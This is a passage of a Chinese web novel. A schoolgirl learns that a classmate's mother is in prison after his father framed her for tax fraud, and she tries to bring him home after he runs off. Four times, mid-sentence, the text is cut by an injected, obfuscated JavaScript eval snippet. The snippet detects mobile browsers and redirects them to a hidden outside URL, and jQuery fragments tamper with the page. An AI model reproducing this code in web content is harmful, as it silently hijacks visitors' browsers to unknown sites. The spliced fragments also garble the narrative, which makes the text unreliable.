冯达脸上挂着八风不动的笑,用一种安慰的口吻柔声道:“没事的莹颖,谁年轻没看走眼过?他那么会装,连我都被他蒙在鼓里,你会喜欢上他也是正常……” “我说够了!”郭莹颖怒吼一声,面红耳赤。她抓起放在旁边椅子上的包包,转身便跑。 有同学笑道:“冯达,你把级花气走了,干嘛把人家暗恋的事直接点出来?” 他耸了耸肩,微笑:“她也该学着认清现实。” “但你说许思睿他妈妈去坐牢,这么大的事,总该有点实质性证据吧,不然光凭你一张嘴……”有人提出质疑。 冯达镇定道:“证据当然是有的,我怎么可能是那种会空口造谣的人?” 他从随身背包里找出一张旧报纸,递给众人。 坐在他对面那人本想伸手接过,谁知还没碰到报纸的边角,角落里就伸出一只手,越过他接过报纸,当着所有人的面,撕拉几下,把那张报纸撕成了碎片。 在大家惊骇的目光中,祝婴宁把报纸碎屑揉了揉,一点一点,缓慢却果决地塞进了冯达的玻璃杯里。 没喝完的饮料将揉成一团的报纸泡开,油墨的气味与甜腻的糖精味混合,气氛死一般凝滞。 不知过去多久,冯达才从石化状态中解除,用气音笑了一声,仿佛没看到她做了什么一样,没事人般和她打招呼:“婴宁,你也来这吃饭?” “别叫我名字。”她沉下脸,声音不大,却很清晰,“我觉得恶心。” 冯达的笑便褪去了颜色。 “你是许思睿的朋友吧?”她既震怒又觉不可思议,失望至极地说,“他把你当朋友,你怎么能这样造他的谣?!” “是吗?我在造谣?”冯达似是觉得不可思议,笑了两声,轻声道,“婴宁,是你被他骗了。他妈妈在坐牢,他没跟你说过吧?” “你再胡说八道一句试试!!” 她完全共情了郭莹颖为什么突然暴喝,人在激动的情况下,实在很难控制音量,上一秒也许还平心静气,下一秒就像被引爆的鞭炮,音量呈指数爆炸增长。她甚至想去抓那杯被她蹂躏得惨不忍睹的玻璃杯,把里面的报纸碎屑和饮料全都扣到冯达头上,但她忍住了,用指甲死死掐着掌心,逼自己平静下来,面朝满桌子的人解释,“许思睿的妈妈只是被外派到外地工作了,你们别听他瞎扯。造谣不仅违背道德,更是违法行为!” 如果没有最后那句照本宣科似的补充,桌上众人也许还会被她唬住,但她一加上造谣是违法行为的声明,就有笑点低的人先憋不住,扑哧一声笑开了。 冯达也在笑,却并非大笑,而是一种轻蔑的笑。他揉着眼角笑出来的眼泪,说:“外派到外地工作?是他告诉你的吗?” 她被他轻蔑的笑声激得越发暴躁,气血上涌,站在原地深深吸了几口气,想开口再怒斥些什么,嘴巴还没张开,手腕就被人从背后用力拉住了。 正在笑的人全都慢慢止住了笑声。 祝婴宁低头看着抓在自己手腕上的细白的手指,心里咯噔一声——完蛋,他全都听到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833888|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许思睿站在她背后,冷声开口,只有一个字:“走。” 尽管只有一个字,可听得出这声“走”是极力压制过的结果,声音因忍耐而倍显嘶哑,处于暴走的边缘。 她没有动,觉得这事不该就这么算了,这样走了算什么,要是冯达继续胡编乱造怎么办?但许思睿在她身后用力拽了一把,差点没把她腕骨掰断,她踉跄着被他扯走了,在所有人或探究或看好戏的目光里快步撤离。 走到一楼门口,祝婴宁才惊觉他想从这离开,忙往回拽了拽自己的手腕,急道:“许思睿,做错事的又不是我们,我们为什么要走?” 许思睿这才停下脚步,回过半个身子看着她,脸色黑得吓人,眼眶因某种激愤情绪而微微涨红,咬牙切齿地说:“因为我嫌丢人。”声线都在颤抖。 她便怔住了:“……你嫌我丢人?” “我他妈嫌我自己丢人!!”他骤然拔高音量,尾音都因激动而破了音。 “你有什么可丢人的?!”她也怒了,“不就是交友不慎吗?又不是这辈子只有他一个朋友了!他血口喷人还背刺朋友,该觉得丢人的是他!” “我靠!”许思睿瞬间崩溃了,嘶吼道,“是不是非得我自己亲口承认他说的都是对的你才会相信?!对!!他说的那些全是真的,所以我才嫌我自己丢人,你满意了没!?” 他吼完,门口所有客人都惊讶地看过来,祝婴宁的脑瓜子也被他吼得嗡嗡作响,耳膜更是生疼。她的心跳得很快,但这份迅疾无关羞涩和感动,纯粹是被真相冲击到了。 ……什么意思? 难道周天澜如冯达所说,真的在监狱里,而不是被外派到了外地工作? 她瞳孔紧缩,呆茫又惶惑地看着站在自己面前的许思睿。他吼得声嘶力竭,吼完了仍大口大口地喘着气,眼眶通红,身体也在细细颤抖,像是控制不住肌肉的挛缩。 没等她彻底消化完他这番话,他就甩开她的手腕,一言不发地离开了。 一直到他的背影消失在街道拐角,她才神魂归位,跺了跺脚,拔步想追上去,跑了两步,却后知后觉食物和钱都还在二楼。 怎么办?先去追人还是先回二楼把食物打包了,再把钱拿上? 如果是偶像剧,主角肯定毫不犹豫选择前者,甚至根本不会在心里产生这么猥琐的纠结,但很遗憾,现实就是这么不唯美不浪漫,她只花了三秒就决定先回楼上,毕竟许思睿这么大一个人总不至于被人拐卖了,可钱是真的会被偷啊。 她不仅回楼上,还不可避免地又路过了冯达他们那桌。 桌上众人——包括冯达——沉默地目送她走过来,过了五六分钟,又沉默地目送她拎着打包盒和信封走过去。 祝婴宁来到收银台前,本是想结账,一问,收银台后的服务生却说:“和你一起的那个男孩子刚刚已经回来结过账了。” “……” 她想象了一下许思睿气得扬长而去,走到一半却又拐回来结账的场景,只觉得又想笑又想哭,同时又憋屈得要死,恨不得找个沙包打一顿,或者把衣服全撕了,跟猴子一样一边嚎叫一边在街上乱跑。 多么见鬼的一天。 多么操蛋的现实。 76. 伊甸园 拎着打包盒和信封回到许思睿家里,家里毫无意外空无一人,连灯都没开。 祝婴宁把东西放下,盘腿坐在客厅中央的地板上。刚刚一路走来,她脑子里都乱七八糟的,似乎想了很多,又似乎什么也没想,直到现在,她才能将毛线虬结的思维条分缕析地纾解,扯开,回忆起她刚来北京到现在的种种细节。她想起了许正康说周天澜被外派时闪烁的眼光,想起在网页上查阅许正康名字时,弹出来的为数不多的两条信息,想起许思睿和许正康恶劣的关系,想起许思睿总是不着家。 假如冯达说的都是真的,那么一切异常便都有了合理的解释。 可是,为什么她会觉得这么不舒服? 她一想到她居然是从冯达这种背叛朋友的人口中得知许思睿家真实境况的,就觉得有股无名火郁结在五脏六腑中。就算冯达说的句句属实,他的叙述里也掺杂了太多敌对情绪,她不希望自己只单方面信从他的讲演。 思虑过后,她拾起座机话筒,拨打出一个号码。 ** 孙明远打开家门后愣了一瞬:“你还真把吃的都带来了啊?” 她可怜地捧起手里的袋子:“因为许思睿跟他爸爸都不在家,我自己一个人吃不下这么多,放到明天就坏了。”安静几秒,又补充,“浪费粮食是可耻的。” 孙明远本来想说自己也刚吃完晚饭,但他这人就是天然对女性狠不下心,闻言,摸了摸鼓鼓的肚皮,嗫嚅道:“那我尽量帮你吃掉一点吧。” “孙明远,你是大好人。”她竖起大拇指。 他将她让进了屋里,王晓倩正在厨房洗碗——她做饭水平有限,勉强维持在吃不死人的水平,这么多年来一直都是孙国庆做饭,她负责洗碗——听到动静,把水淋淋的手在围裙上抹了抹,热情地冲出来,抓起祝婴宁的手就说:“你是婴宁吧?我知道你老久了!” 祝婴宁以为王晓倩认识她是因为孙明远在家提过,刚想微笑承认,就听她哈哈大笑着说:“你和思睿那个综艺我看过,妈呀,逗死个人!” “……” 好吧,难怪古语有云不是一家人不进一家门,看来孙明远有这种性格完全是承袭了王晓倩女士。 王晓倩没有任何女生独自来找自己儿子是不是要和儿子搞早恋的担忧,给他们切了盘水果,放心地把他们推进了孙明远卧室里,回身继续洗碗去了。 孙明远从卧室角落里找出一张迷你折叠桌,把桌子打出来,食物和水果盘盘码上去,屈膝坐在地上,示意祝婴宁坐到他对面。 她坐了下去,两人相顾无言。 不知过了多久,孙明远才老气横秋地叹了口气,说:“其实许思睿的家事,按理来说不该由我告诉你,最好是他自己来说,但他这人吧,也确实死鸭子嘴硬,千斤顶都撬不开他的嘴,等他开口,估计黄花菜都凉了。” 祝婴宁深表赞同。 “既然你都已经从别人口中知道真相了,行吧,那我就给你透个底。”孙明远神经兮兮地说,“不过,你得对天发誓,绝对不会拿这些事来伤害他。” 选择告诉祝婴宁当然不是因为相信誓言的效力,而是信赖她的人品,但十几岁的小孩嘛,难免爱玩些赌咒发誓的东西。祝婴宁同样老神在在地聊表附和,举起自己的右手,握成拳头贴在太阳穴旁边,一本正经道:“我发誓,绝对不会拿真相伤害许思睿,如若违誓,就让我……”她思考了一下,狠狠心,说,“就让我学习成绩下降!” “?” 孙明远勉为其难地点了点头,“也……行吧。” 于是双方正式开始会晤。 孙明远一边往嘴里塞面条一边含糊不清说:“你如果去看判决书,会发现许思睿妈妈是因为偷税避税做假账进去的,但其实根本不是这么回事。” “什么意思?她是被冤枉的吗?”祝婴宁的心悬了起来。 孙明远深深叹了口气,把叉子放下来,说:“我还是从头给你讲起吧,从他父母结婚那会儿讲起好了。许思睿他妈妈娘家那边家境优渥,A8资产,比上可能不足,但在普通人里妥妥算白富美了,而他爸爸,说实话,结婚前只勉强摸得到小康的边缘。” “刚开始两人说要结婚,他妈妈那边的娘家人严厉反对,坚持要她找个门当户对的男人,但许正康这人吧……他愿意哄人的时候,能把人哄上天,仪表堂堂,能说会道,还肯包揽家务,对许思睿妈妈那叫一个千娇百宠,日子一长,他妈妈那边的人就松动了,觉得,哎,女儿开心就好。” “婚后岳父岳母肯定不会坐视女儿去过穷苦生活,对吧?就开始给许正康投资,供他做生意。许正康也确实有本事,不是那种窝囊废,另一方面,运气好,乘上了时代的东风,这生意还真就被他做起来了。可他这人,能力有,运气有,唯独心术不正。他有个发小,叫张海生,这丫就是个经济犯,之前就二进宫过了,许正康依旧坚持和他来往,从这其实就能看出点苗头了,不是有句话叫物以类聚人以群分吗?” “那个张海生给许正康出了很多歪门邪道的主意,教他把法人代表设成周天澜,用周天澜的账户做假账避税,还有什么信托持股,白手套操作……这些我也不太懂,反正就是,这些年来,许正康不仅做假账,还把自己摘得干干净净,责任全推到妻子那边了,而周天澜本人对此一无所知。后来公司被查,周天澜进去,许正康这个实际决策人反而在张海生的协助下全身而退,屁事没有。” 祝婴宁震撼得话都不会说了,三观受到史无前例的冲击,张大嘴巴愣了很久,才问:“周阿姨反抗了也没有用吗?……难道真就这样不明不白顶罪了?” 孙明远苦笑一声:“这就是问题所在,许正康做得很干净,没留下任何自己犯罪的证据,至于周天澜,本来疑罪从无,只要她一口咬定自己是被丈夫陷害的,也不至于就进去了,可……” “我就这么说吧,周阿姨很单纯,被父母保护得很好,从小到大没吃过一丁点儿苦,小时候顺风顺水地长大,毕业后又直接嫁给许正康,一天班都没上过。这样单纯的一个人,她信奉的是琼瑶式的真爱,相信真爱战胜一切,她的心理年龄说不定都没你成熟。被许正康唬了几句,说什么‘你没有工作,要是我进去了,我们睿睿在外头八成会饿死会被欺负,但只要你代我进去蹲几年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840294|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还能利用这段时间东山再起,给你们母子俩优渥的生活’,她就相信了,本来没有的事也全都一口担下了。” “那……许思睿……”她想问,那许思睿难道就坐视这一切发生了吗? 孙明远揉着脸,叹息:“他当然劝啊,从他们家出事开始,他就劝他妈妈收集证据,把许正康告了,再不济也别傻不愣登把自己弄进去吧?可顶个卵用啊!他妈妈根本不听,一心沉浸在自我牺牲的爱情童话里,在他妈那,他说话根本没他爸说话有分量。最后判决结果下来,周阿姨去坐牢,许正康这个吊毛……” 可能觉得这话在女生面前过于粗鄙,孙明远咽了咽唾沫,改口道,“许正康这个贱人,不仅没受惩罚,还把余下的钱都用来做公关,把这件事抹得干干净净。” “虽然他们家比那种破产倒闭然后负债数十亿的家庭好了不少,还有余钱可以挥霍,不过许思睿众星捧月惯了,这种家变对他来说堪称致命打击,你想啊,一夜之间,爸成了吃绝户的凤凰男,妈是无可救药的恋爱脑,本来以为父母真心相爱,结果只是其中一方用利益构建的骗局,搁谁谁能接受?从那以后他就变了。虽然以前也一堆臭毛病,但我不知道你能不能get到,他以前的臭毛病那是被惯过头了,王子病,带点撒娇性质的作妖,现在么……” 他重新拿起叉子,卷起一勺意面,下了结论,“现在他是完全丧失了人生的目标,做什么事都提不起干劲。而且他这人其实特胆小,纸糊的老虎,一戳就漏。他怕别人看出自己家境落拓,怕别人可怜他,所以明明提不起干劲,却硬要装样子,装得温柔亲切讨人喜欢。以前他对来搭讪他的人都是爱谁谁的态度,现在?现在你看那个冯达,我跟许思睿说过几百遍这哥们一看就是个阴货,嫉妒心贼强那种,和这种人交朋友迟早被反噬,许思睿自己也清楚,但他就是下意识想去讨好冯达这种人,真是操了……” 祝婴宁久久说不出话。 她记得周天晴也说过许思睿胆小,他住在他的伊甸园里,直到有一天风吹雨打,伊甸园毁灭,露出毒蛇残忍丑陋的真面目。 想到周天晴,她自然自然想到了许思睿和孙明远的争吵,趁着这个时机,她顺口问了出来:“你流鼻血那天……” “哦,你说那个。”孙明远摸了摸自己的鼻头,他鼻子早就好了,不过被祝婴宁这么一提起,难免有些幻痛,他说,“你可能不知道,国庆最后一天是周阿姨的生日,我过去主要是劝许思睿去看看他妈妈,但是,唉……” “他不肯去?” “对。”孙明远再次放下叉子,头疼地说,“从他妈妈坐牢到现在,他一次都没去看望过。” “一次都没有?!”这回祝婴宁是真的愣了,惊愕良久,才结结巴巴问,“为、为什么?周阿姨毕竟是他妈妈吧?她自己在里面该有多寂寞啊……” 孙明远很长时间没有答话,就在祝婴宁以为他不会再回答时,他才缓慢启口,说:“……他害怕吧,不敢去面对,觉得不去看妈妈的惨状就可以继续自欺欺人下去。其实,祝婴宁。”他无奈地垂下眉尾,和她对视,“不是所有人的心理都和你一样强大。” 77. 落荒而逃 从孙明远家离开后,祝婴宁自己一个人在街上游荡了很久,才回到许思睿家里。 她仰头看着客厅墙上悬挂着的许正康和周天澜的结婚照,心里说不出是什么滋味。许正康是她的资助人,如果没有他的资助,她上不了学,只能早早出来打工,这点毋庸置疑,可她现在着实不知道该以什么姿态面对他才好。她无法再对他产生尊敬,却也没有立场指责他或者纠正他。按理来说,她依然应该对他怀有谦卑的感恩戴德,仇视是白眼狼行径,但她又控制不了自己的心。 还好,许正康不在家,为这必然到来的尴尬相处提供了喘息之机。 躺在床上,祝婴宁难得失眠了。她这人睡眠质量向来很好,虽则达不到一沾枕头就睡的境界,可也少有辗转难眠的时候。今夜她破例难眠,满心担忧起周一的到来。 听孙明远说,许思睿家出事以后,他便转过一次学了,从原先的初中转到了孙明远所在的初中,理由是原先班上有太多人听说过他家的事,流言蜚语如雪片,慢慢积累成雪崩。他熬不住雪崩的摧残,从先前的学校落荒而逃。 那这次呢? 被冯达这样一揭露,真相恐怕早已传开。 ** 不幸的预感总是百分百应验。周一去上学时,祝婴宁敏锐地察觉出学校的气氛变了。 首先自然是自称“学校里发生的任何事都逃不过我的关系网”的邹皓,早读还没开始,他就兴致勃勃地跑来找她和吴波:“我这周末听到一个有意思的八卦。” 祝婴宁飞快拒绝道:“我不想听。” 然而挡不住吴波好奇,急切地催促他:“什么八卦啊?什么什么?我想听!快说快说!” “许思睿你们认识吧?”邹皓引用了一个意味深长的开场白。 “当然,我记得婴宁和郑泽楷跑步那次他踢球砸到了郑泽楷,他长得很帅啊。”吴波边回忆边露出回味无穷的表情。 邹皓即刻对最后那句话发表了高见:“你们女的就是肤浅。” “你就不肤浅了,班长?”嚼着口香糖姗姗来迟的邵彦君将书包一扔,一半扔在座位上,一半扔在戴以泽桌上,取笑道,“你敢说郭莹颖不好看?” 邹皓和邵彦君八字不合,干脆无视她,直接开始描述八卦。他讲得眉飞色舞,不仅吴波听得聚精会神,邵彦君坐下来后也倾斜身子,表现出了浓厚的兴趣。 待他讲完,吴波下巴掉下半截,直言:“不是吧,那他岂不是考不了公了?” “你的关注点为什么是这个?”邹皓推了推眼镜,犀利地点评,“虽然是他妈妈坐牢,不过依我看,一个被窝睡不出两种人,他爸爸肯定也逃不了干系。我早就说了这种人是社会的败类,父母都如此不堪,怎么可能教育出走正道的孩子? 邹皓的话就像弓弦,从祝婴宁的左耳贯穿到右耳,随着他的话音落地,不断在她脆弱的耳膜上碾磨,发出刺耳的“嘎吱嘎吱”声。她捏住耳垂,在邹皓吐露出更多犀利的点评之前,及时打断了他的话:“别这样……” “嗯?” “别这样说他。” “怎么了?”邹皓表示惊奇,“难道你也觉得长得帅的人就该被原谅?不是吧,祝婴宁,你别加入肤浅的行列啊。” “你并不了解他,不是吗?”她胸口憋闷得很,比起愤怒,更多的是无力和难过,她低声说,“你没有和他深入相处过,为什么就武断地认定他是不堪的人?” “我不需要和他相处。”邹皓傲慢地断言,“是不是好学生一眼就能看出来,这不叫武断,这是经验。” ** 如果许思睿不是这么打眼,而是一个低调的学生,他妈妈在坐牢这件事大概只会引起同班同学的好奇,不至于传播到人人都知晓的境地。但很不幸,由于《交换人生》这个综艺的余威,再加上他本人高调的作风和长相,他在全级甚至整个学校都可算风云人物,八卦就像流感病毒,在学校里疯传。 下课时分、体育课的自由活动时间、自习课上,甚至在食堂里,都能听见关于他的只言片语。 午休时间,祝婴宁特意去他班上瞧了瞧,不出所料地发现他没来上课。 他逃学了。 下午放学她再去,他的座位依然是空的。她听到他们班的班主任在问冯达和郭莹颖,怎么回事啊,知不知道许思睿为什么没来上课。 冯达摇头,甚至好心为其辩解:“思睿可能身体不舒服吧。”祝婴宁在外头听着,觉得这人特别恐怖,显然郭莹颖也是这样想的,她的表情显得很是含糊。 “你们要是联系得上他,让他来我办公室找我一趟。” 班主任夹着排名表,交代完,转身欲往外走,祝婴宁赶紧在她彻底走远之前拦住她:“老师,我是许思睿的朋友,我可以看看他的排名吗?你有什么话也可以转告我,我会告知他。” 班主任有些惊讶,但还是把排名表递给了她。祝婴宁从头到尾找了十几位才找到许思睿的名字,他这次在全级排两百多名。看到排名以后,她的心便突突直跳,心里冒出的唯一一个想法是—— 这样下去不行。 ** 给孙明远打电话说明自己的决定,是她深思熟虑后的结果,她没想到孙明远会这么反对。 “不可以!”他在电话那头急道,“别的都无所谓,只有这件事不行!你忘了我上次我鼻子都被他干流血了?其实肚子上也挨了两拳,只是没被你看到。你是女生,他肯定不至于打你,但要是被他知道你私底下联系他妈妈,他铁定会跟你绝交。祝婴宁,许思睿这人比你想的还好面子,而且……”他组织了一下语言,委婉地说,“比起别人,他更不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840295|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被你看见他的难堪。” 挂断电话以后,祝婴宁倔劲儿上来了,想了想,又查阅许思睿家的电话簿,拨打给周天晴。 周天晴似乎在室外,电话那头有呼呼的风声。听说她想去监狱探视周天澜,周天晴同样大吃一惊:“是你自己的决定吗?” “对。” “婴宁,睿睿可是会生气的哦?” “我不怕他生气。” 那头便静默了刹那,随即是轻如羽毛的叹气声,周天晴说:“说实话,我也不知道怎样做才算对他好,也许让你试试,也不失为一种方法。”顿了顿,她说,“不过,非亲属要探视服刑人员,很难,我想想啊……写信怎么样?下个月我会去监狱探视我姐,到时把你的信一同捎过去,你要是有什么话想说,就写到信里吧。” 她眼睛发亮:“我知道了!谢谢你,周小姐。” 周天晴被她拗口的称呼逗得不行:“别这样叫我,太奇怪了,你随睿睿叫我小姨就好了。” “可是……你毕竟是许思睿的小姨,不是我的小姨。”她有点害羞,虽然她确实很想管周天晴叫小姨。也许是受到祝知微影响,祝婴宁对这种比自己大了几岁的姐姐角色天然有股亲近感。 “那大马路上的爷爷奶奶也是别人的爷爷奶奶,不是我们的爷爷奶奶,但我们不还是管他们叫爷爷奶奶吗?” 好彪悍却又不失道理的逻辑。 祝婴宁被她绕晕了,晕晕乎乎改口:“我知道了,谢谢小姨。” “诶,乖宝。”周天晴在那头爽朗地笑起来。 ** 给周天澜写信的事提上日程,与此同时,祝婴宁也没有放弃搜寻许思睿的踪迹。 他既不来上学,也不回家,跟人间蒸发了一样,哪哪都找不到他的人影。也许是知道孙明远“叛变”了,许思睿没再去他那。祝婴宁只能拜托孙明远一有消息就向她汇报。 “我们在玩碟中谍吗?”他兴奋不已。 “……不,而且我觉得你的态度应该严肃点儿。” “好的好的,祝特工。” 至于张霖,他不像孙明远那样,有对女孩温柔以待的原则。他很明显就是偏向许思睿那边的,以至于祝婴宁给他打了几个电话,不仅没打听到许思睿的消息,还被他拉黑了。 也多亏他拉黑,让她更加肯定许思睿就是在他那。 祝婴宁手头还有之前询问许正康得到的地址,周三,她向祝知微告了假,一放学就直奔张霖的家。 张霖家住在一个安保措施较为严格的小区里,出入需要出示居住证。祝婴宁没有这种东西,也不可能打电话让张霖给她开门。开玩笑,以张霖的性格,听到她的声音,肯定会直接让保安抓走她。 思来想去,祝婴宁想出一个馊主意。 她决定翻墙进去。 78. 跟我回去 幸好张霖的小区没有严苛到安装电网,只在墙头的位置密密麻麻撒了一层绿色防盗玻璃渣。这种玻璃渣困不住祝婴宁,她三两下窜到围墙旁的一棵树上,踩着枝干够到了墙头,虚虚踮脚,朝里一跃,利索地落到了地面。 根据本子上的地址,她找到了张霖所在的楼栋D02. 楼栋有电梯,她按图索骥,来到张霖门前,对着他们家的玻璃门理了理仪容,这才按下门铃。 来开门的是个瘦削的中年女人,面容肖似张霖。她猜对方许是张霖妈妈,忙道明来意,直言自己是许思睿的朋友,过来打听他下落的。女人警惕心强,怀疑地上下打量她,像是不太相信她的话,最后只说:“他和我们家阿霖都不在,去外面玩了,你改天再来吧。” 可她没有那么多“改天”能请假,见对方确实没有请自己进去的意思,只好退而求其次,说:“好的,那我在外面等,他们今晚会回来吗?” 女人没有回答他们今晚会不会回来的问题,只皱着鼻子说:“你别在我们家门口等,你往边上去。”她抬手指着楼梯间,“去那。” 祝婴宁也不反驳,背着书包便往楼梯间去了。 楼梯间里的窗户不能打开,厚厚的磨砂玻璃隔绝了日光,导致楼梯间里阴冷昏暗。她走进去,声控灯亮起来,但没过多久就熄灭了,剩下层黯淡的蓝色,是窗外黄昏的拓影。写字写不了,没有发挥空间,她从书包里翻出单词本,站在窗下,囊萤映雪般借着窗外暮色开始背单词。 external,外来的。shadow,阴影。fightalosingbattle,打一场无望取胜的战。 每当外头的电梯响起开门提示声,叮咚,她都会探出头,看看来人是谁。楼梯间里偶尔也有人经过,大概见她面生,会额外多瞥她两眼。 这一等就是几个小时,天色彻底黑了,她没有任何电子设备,不知道具体时间,只能依靠声音和气味辨别时刻。滋滋的油锅声和各家各户飘出的饭菜香气代表此刻介于六点和七点之间,洗衣机运作的机器提示音和洗衣凝珠的香气代表此刻多半已过九点。 后来一切都静了,不管是电梯间还是楼梯间,来往的脚步声都变得越来越疏朗。 她蹲在某一层台阶上,困得脑袋都要点进膝盖之间,终于听到电梯提示音又一次响起,脚步声拖拖沓沓。张霖说:“我爸妈估计睡了,你手脚轻点,别吵醒他们。”许思睿应得懒怠,几乎只剩鼻音:“嗯。” 她从楼梯间里蹦出来,那一刻觉得自己很像奥特曼世界里前攻打地球的怪兽,因为张霖被她吓得险些一屁股墩坐在地上。他忘了前不久还在提醒许思睿轻声,大骂:“你跟踪狂啊!” 祝婴宁不理会这个窝藏许思睿的从犯,她看向许思睿,他身上酒味刺鼻,要不是靠脸撑着,简直就像街边随便捡来的流浪汉。酒精让他反应迟钝,眼睛眯起,视线也略显浑浊,好在他没醉到认不出人的地步,因为他几乎是看清她那一秒就绷起了脸。 “跟我回去。”她说,语气并不强势,但也没有在商量。 他慢吞吞地说:“回哪?”语速比平时慢了许多。 “回家。” 许思睿便笑了一声,自言自语似的:“我哪有家?” 他要是清醒,肯定说不出这种酸唧唧的话。祝婴宁无奈又心软,伸手想去拉他,却被张霖跳出来打断,像在看嫉恨白雪公主的后妈,又像护雏的母鸡,不耐烦地说:“你能不能别老来烦他?他又不想见你。” 祝婴宁漫无边际地想着,每个人对别人好的方式果然是不一样的,像张霖,他对许思睿便是一种纯然护短的心态,将谁视为朋友,就无条件迁就他的任性要求。朋友想喝酒?那就陪他喝酒。朋友想翘课?那就默默支持。朋友有不想见的人?那就替他赶走。 她不认可他的处理方式,但又莫名有些触动。虽然许思睿在冯达那栽了个跟头,可无论是孙明远还是张霖,他们都在用自己的方式对他好。他依然有真心待他的朋友。 不过,触动归触动,她坚持保留自己对张霖做法的不认同。在他们将要进屋的时候,她拽了拽书包肩带,看准许思睿自尊心强这一点,说:“许思睿,你再继续住下去,会给张霖的爸爸妈妈添麻烦。” 果不其然,许思睿朝里走的步伐顿了顿,脸上神色僵了几分。 旁边的张霖一听就炸了:“卧槽!你别胡扯,我爸妈什么态度还轮不到你来猜!”说着伸手把许思睿拽了进去,敌对地怒视她,仿佛她是什么洪水猛兽。 祝婴宁朝门后面的许思睿说:“我在外面等你。”想了想,又平和地添上一句,“等到你出来为止。” “你爱等就等,谁管你。”张霖不客气地将门甩上了。 楼道里再度恢复万籁俱寂。 ** 祝婴宁的字典里没有半途而废这个词,既然说了要等,她就一定会等。这回她盘坐在张霖家门口,借着他们门口的楼道灯,一边等待一边埋头开始学习。 由于姿势别扭,再加上夜晚头脑转速慢,她写得很艰难,磨了许久才把作业做完,到后面差点睡死在练习册上。想利用夜空中星星的位置判断一下时间,结果抬头一看,北京的天空光污染严重,愣是瞧不见几颗星,只能无所事事坐在门前地上,靠反复翻阅教科书消磨时间。 时间在等待中拉得无限长。 也不知道过去多久,祝婴宁怀疑自己中途又靠在墙上打了个盹,总之,她是被开门声吵醒的。天空尚未泛白,天色将青未青,张霖家的门启开一道缝,许思睿如鬼魂般从里面飘了出来,黑眼圈明显,脸上残留宿醉的木然,显是一整晚没睡好。看来她那句“会给张霖父母添麻烦”给他留下了不小的心理压力。 他从里面飘出来,没有看她,径直来到电梯前。 祝婴宁从地上爬起来,背着书包跟在他身后。 他们一同进了电梯。 电梯的墙折射出他和她的脸,祝婴宁这才发现自己的脸色也没比许思睿好到哪里去,一整晚没有好好休息,他们就像刚从清朝古墓里刨出来的两具僵尸,一个比一个憔悴。电梯里没人说话,只有此起彼伏的疲倦的呼吸。 出了小区大门,许思睿没有招出租车,也没说要去哪里,停在门口发了几分钟呆,无头苍蝇般选了个方向前行。 她一言不发地跟了上去。 走了一段路,远远可以瞧见南护城河的影子,空气中漂浮着水的气味。 他们在靠近龙潭湖公园那片区域,若是夏天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849038|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,护城河东南角常能见到不少市民跳水、游泳或者玩皮划艇,冬天则有人在冰面上滑野冰——当然,出于安全顾虑,相关部门总会劝阻,然而架不住人民对水的热情,每年总还是有明知故犯的人。现在是秋季,天气既没有热到适合游泳,也没有冷到能溜冰,又是人迹寥寥的清晨,只有一个老大爷脱掉上衣,晒出肚皮上松垂的白花花的皮肤,站在下水口的台阶上做着夸张的准备运动。 祝婴宁不清楚老大爷的行为会不会被罚款,关于北京,她至今仍然有许多未知。 她跟在许思睿身后,沿着河边闷头往前,清晨的凉风侵袭进她单薄的校服领口,将四肢冻成四根冰棍。 也不知走了多久,许思睿突然刹住脚步,回头看着她,总算开了尊口,问:“你到底想干什么?” 她揉了揉冰凉的鼻头,说:“我希望你回家。” “我不回去。”许思睿看起来想凶她,甚至骂她,但他实在太累了,身心俱疲,凶不出来,只能毫无威慑力地说,“你滚。” 祝婴宁便也毫无威慑力地表达自己的坚持:“我不,除非你跟我回去。” “我不回去。” “那我就一直跟着你。” “你有病?” “没有吧。” “到底要怎样你才能不缠着我?” “不知道。”她强调道,“但我是不会放弃你的,许思睿。” “我求你放弃我。” “不要。” 他们进行着毫无营养的对话,边对话边往前。就在许思睿以为这种没营养的对话会一直持续下去的时候,身后骤然没声了。 